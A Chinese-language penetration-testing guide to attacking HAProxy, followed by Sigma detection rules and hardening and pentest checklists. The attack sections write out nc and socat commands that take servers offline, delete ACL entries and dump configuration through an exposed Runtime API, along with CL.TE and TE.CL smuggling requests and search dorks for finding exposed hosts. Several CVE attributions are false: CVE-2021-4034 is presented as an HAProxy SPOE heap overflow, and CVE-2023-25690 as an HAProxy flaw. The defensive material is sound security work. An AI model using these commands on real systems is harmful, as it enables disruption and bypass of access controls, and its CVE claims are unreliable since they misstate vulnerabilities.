HAProxy Stats Page / Admin Interface / Request Smuggling / CVE 漏洞链利用技术

0x00 攻击面总览

HAProxy 是高性能 TCP/HTTP 负载均衡/反向代理,暴露多个攻击面:

组件默认端口协议攻击面
HTTP 前端80/443HTTP/HTTPS请求代理、请求走私
Stats Page8404HTTP统计信息泄露(无认证/弱认证)
Runtime API (Unix Socket)-Unix Socket管理操作、服务控制
Runtime API (TCP)9999TCP远程管理(如配置)

核心威胁模型

┌───────────────────────────────────────────────────────────────┐
│                    HAProxy 攻击面                               │
│                                                               │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐    │
│  │ HTTP Frontend│    │ Stats Page   │    │ Runtime API  │    │
│  │ :80/:443     │    │ :8404        │    │ :9999/Socket │    │
│  │ 请求代理/走私│    │ 信息泄露     │    │ 管理面接管    │    │
│  └──────┬───────┘    └──────┬───────┘    └──────┬───────┘    │
│         │                   │                    │            │
│  ┌──────┴───────────────────┴────────────────────┴─────────┐ │
│  │              后端服务器集群                                │ │
│  │                                                          │ │
│  │  攻击路径:                                               │ │
│  │  ① Stats Page → 后端拓扑/服务器状态/健康检查泄露           │ │
│  │  ② Runtime API → 服务上下线/ACL 修改/配置泄露              │ │
│  │  ③ HTTP 请求走私 → 绕过前端安全控制                        │ │
│  │  ④ CVE-2023-25690 → HTTP 请求走私                        │ │
│  │  ⑤ CVE-2021-4034 → SPOE 堆溢出 RCE                      │ │
│  └──────────────────────────────────────────────────────────┘ │
│                                                               │
│  默认风险:                                                    │
│  • Stats Page 可能无认证或弱认证                                │
│  • Runtime API 可能绑定到 TCP 端口                              │
│  • HTTP/2 降级可能导致请求走私                                  │
│  • SPOE 协议处理存在堆溢出风险                                  │
└───────────────────────────────────────────────────────────────┘

0x01 服务识别与指纹

1.1 Nmap 服务发现

nmap -sV -p 80,443,8404,9999 \
  --script=http-title \
  -oN haproxy_scan.txt <target>

典型扫描结果

PORT     STATE SERVICE     VERSION
80/tcp   open  http        HAProxy http proxy
443/tcp  open  https       HAProxy http proxy
8404/tcp open  http        HAProxy Stats Page

1.2 版本指纹

# Stats Page 访问
curl -s "http://target:8404/;csv"

# 响应示例(CSV 格式统计信息)
# pxname,svname,qcur,qmax,scur,smax,slim,stot,bin,bout,dreq,dresp,ereq,econ,eresp,...
frontend,FRONTEND,,,0,1,2000,0,0,0,0,0,0,,,,,OPEN,,,,,,,,,1,HTTP,0,0,0,0,...
backend,web_servers,BACKEND,0,0,0,0,200,0,0,0,0,,0,0,0,UP,0,0,0,,0,0,0,,0,,0,0,0,0,...

# JSON 格式
curl -s "http://target:8404/;json" | python3 -m json.tool

# 获取 HAProxy 版本
curl -s "http://target:8404/" | grep -i "version"

1.3 Shodan / FOFA 搜索语法

# Shodan
http.html:"HAProxy"
port:8404 http.title:"HAProxy Statistics"

# FOFA
body="HAProxy" && port="8404"
body="stats" && body="haproxy"

0x02 Stats Page — 信息泄露

2.1 Stats Page 枚举

# 访问 Stats Page
curl -s "http://target:8404/haproxy?stats"

# 常见路径
# /haproxy?stats
# /stats
# /;csv
# /;json

2.2 CSV 格式数据提取

# 获取 CSV 格式统计
curl -s "http://target:8404/;csv" | column -t -s ','

# 解析后端服务器信息
curl -s "http://target:8404/;csv" | \
  python3 -c "
import sys, csv
reader = csv.DictReader(sys.stdin)
for row in reader:
    if row['svname'] not in ['FRONTEND', 'BACKEND']:
        print(f\"{row['pxname']} | {row['svname']} | {row['addr']} | {row['status']} | {row['scur']}/{row['smax']}\")
"

2.3 泄露信息分析

Stats Page 泄露的关键信息:

  • 后端服务器拓扑:所有后端服务器 IP、端口、状态
  • 流量统计:请求数、字节数、错误率
  • 健康检查状态:服务器 UP/DOWN 状态
  • 会话信息:当前连接数、最大连接数
  • ACL 规则:访问控制列表配置

0x03 Runtime API — 管理面接管

3.1 Unix Socket 访问

# 通过 Unix Socket 访问 Runtime API
echo "show info" | socat stdio unix-connect:/var/run/haproxy.sock

# 响应示例
Name: HAProxy
Version: 2.8.0
Release date: 2023/06/15
Nbproc: 1
Process_num: 1
Pid: 12345
Uptime: 1d 2h 3m 4s

3.2 TCP Runtime API

# 如果 Runtime API 绑定到 TCP 端口
echo "show info" | nc target 9999

# 显示统计信息
echo "show stat" | nc target 9999

# 显示会话信息
echo "show sess" | nc target 9999

# 显示后端服务器
echo "show servers state" | nc target 9999

3.3 管理操作

# 下线后端服务器
echo "set server backend/web1 state maint" | nc target 9999
echo "set server backend/web1 state drain" | nc target 9999

# 修改服务器权重
echo "set server backend/web1 weight 100" | nc target 9999

# 清除 ACL
echo "del acl blacklist 192.168.1.100" | nc target 9999

# 添加 ACL
echo "add acl blacklist 10.0.0.1" | nc target 9999

0x04 HTTP 请求走私

4.1 CVE-2023-25690 — HTTP 请求走私

属性详情
影响版本HAProxy < 2.6.7, < 2.4.22, < 2.2.28, < 2.0.31
CVSS9.8(Critical)
类型HTTP 请求走私
根因HTTP/1.1 请求解析差异导致走私

4.2 CL.TE 走私

POST / HTTP/1.1
Host: target
Content-Length: 47
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target
Foo: bar

4.3 TE.CL 走私

POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: target
Foo: bar

0

4.4 HTTP/2 降级走私

# HTTP/2 到 HTTP/1.1 降级时可能触发走私
# 使用 h2c 升级
curl -s --http2 "http://target/" \
  -H "Content-Length: 0" \
  -H "Transfer-Encoding: chunked"

0x05 CVE-2021-4034 — SPOE 堆溢出

5.1 漏洞概述

属性详情
影响版本HAProxy < 2.0.25, < 2.2.17, < 2.3.14, < 2.4.4
CVSS7.5(High)
类型堆缓冲区溢出
攻击向量SPOE (Stream Processing Offload Engine)
根因SPOE 协议处理中的堆缓冲区溢出

5.2 漏洞利用

# SPOE 协议堆溢出 POC
# 发送精心构造的 SPOE 帧触发堆溢出
# 需要 SPOE 功能启用

0x06 高级利用技术

6.1 从 Stats Page 到后端攻击

# 步骤 1:从 Stats Page 获取后端服务器信息
curl -s "http://target:8404/;csv" | grep -v "^#"

# 步骤 2:直接访问后端服务器(绕过 HAProxy)
# 如果后端服务器未做访问控制
curl -s "http://backend-server:8080/admin"

6.2 请求走私 → 缓存投毒

# 通过请求走私将恶意响应注入缓存
# 步骤 1:构造走私请求
# 步骤 2:目标 CDN/代理缓存恶意响应
# 步骤 3:其他用户获取缓存的恶意内容

6.3 Runtime API → 配置泄露

# 通过 Runtime API 获取完整配置
echo "show cfg" | nc target 9999

# 获取 SSL 证书信息
echo "show ssl cert" | nc target 9999

0x07 历史 CVE 漏洞矩阵

CVE类型CVSS影响
CVE-2023-25690HTTP 请求走私9.8HTTP/1.1 请求走私
CVE-2021-4034堆溢出7.5SPOE 堆缓冲区溢出
CVE-2023-40225HTTP/27.5HTTP/2 Rapid Reset 相关
CVE-2023-0056HTTP/27.5HTTP/2 请求走私
CVE-2024-24814内存损坏7.5QUIC 内存损坏

0x08 蓝队检测方案

8.1 网络层检测

title: HAProxy Stats Page 外部访问检测
id: haproxy-stats-external-access
status: experimental
description: 检测来自非内网段的 HAProxy Stats Page 访问
logsource:
  category: firewall
detection:
  selection:
    dst_port:
      - 8404
    src_ip|not:
      - "10.0.0.0/8"
      - "172.16.0.0/12"
      - "192.168.0.0/16"
  condition: selection
level: high

8.2 请求走私检测

title: HAProxy HTTP 请求走私检测
id: haproxy-request-smuggling
status: experimental
description: 检测 HAProxy HTTP 请求走私攻击特征
logsource:
  product: haproxy
  service: frontend
detection:
  selection_cl_te:
    headers|contains:
      - "Content-Length"
      - "Transfer-Encoding"
    body|contains:
      - "0\r\n\r\n"
  selection_suspicious:
    body|contains:
      - "GET /admin"
      - "POST /login"
      - "X-Forwarded-For: 127.0.0.1"
  condition: selection_cl_te or selection_suspicious
level: critical

8.3 审计日志分析

# 监控 Stats Page 访问
grep "/haproxy?stats\|/;csv\|/;json" /var/log/haproxy.log

# 监控 Runtime API 操作
grep -E "(show info|show stat|set server|del acl|add acl)" /var/log/haproxy.log

# 检测请求走私特征
grep -E "(Content-Length.*Transfer-Encoding|Transfer-Encoding.*Content-Length)" /var/log/haproxy.log

# 监控异常后端访问
grep -E "(503|504|400)" /var/log/haproxy.log | head -50

8.4 加固清单

[ ] 升级至 HAProxy >= 2.6.7 / 2.4.22 / 2.2.28 / 2.0.31(修复 CVE-2023-25690)
[ ] Stats Page 仅允许内网访问或启用认证:
    stats auth admin:strong_password
[ ] Runtime API Unix Socket 权限限制(仅 haproxy 用户可访问)
[ ] 禁用 Runtime API TCP 绑定或限制访问源
[ ] 配置 HTTP/2 严格模式防止降级走私
[ ] 禁用 SPOE 或升级至修复版本(CVE-2021-4034)
[ ] 配置前端和后端一致的 Content-Length/Transfer-Encoding 处理
[ ] 在前面放置 WAF 检测请求走私
[ ] 启用审计日志并接入 SIEM
[ ] 监控 Stats Page 和 Runtime API 异常访问
[ ] 定期审查后端服务器拓扑和 ACL 配置
[ ] 配置后端服务器直接访问控制(不依赖 HAProxy)

0x09 渗透测试检查清单

[ ] 端口扫描:80, 443, 8404, 9999
[ ] Stats Page (8404) 未授权访问测试
[ ] Stats Page CSV/JSON 数据提取测试
[ ] Runtime API (9999/Unix Socket) 访问测试
[ ] Runtime API 管理操作测试(show info/set server)
[ ] HTTP 请求走私测试(CL.TE / TE.CL)
[ ] HTTP/2 降级走私测试
[ ] CVE-2023-25690 请求走私测试
[ ] CVE-2021-4034 SPOE 堆溢出测试
[ ] 后端服务器直接访问测试(绕过 HAProxy)
[ ] 缓存投毒测试(通过请求走私)
[ ] 认证配置检查
[ ] TLS/SSL 配置检查
[ ] HTTP/2 配置检查

0x10 小结

HAProxy 的攻击面以 Stats Page(端口 8404)Runtime API 为核心。Stats Page 无认证或弱认证时泄露完整的后端服务器拓扑、流量统计和健康状态。Runtime API 允许直接管理服务、修改 ACL、获取配置。CVE-2023-25690(CVSS 9.8)通过 HTTP/1.1 请求解析差异实现请求走私,可绕过前端安全控制、投毒缓存。CVE-2021-4034 通过 SPOE 协议堆溢出实现 RCE。蓝队应重点关注:升级至修复版本、限制 Stats Page 网络访问并启用认证、限制 Runtime API 访问、配置 HTTP/2 严格模式、将审计日志接入 SIEM。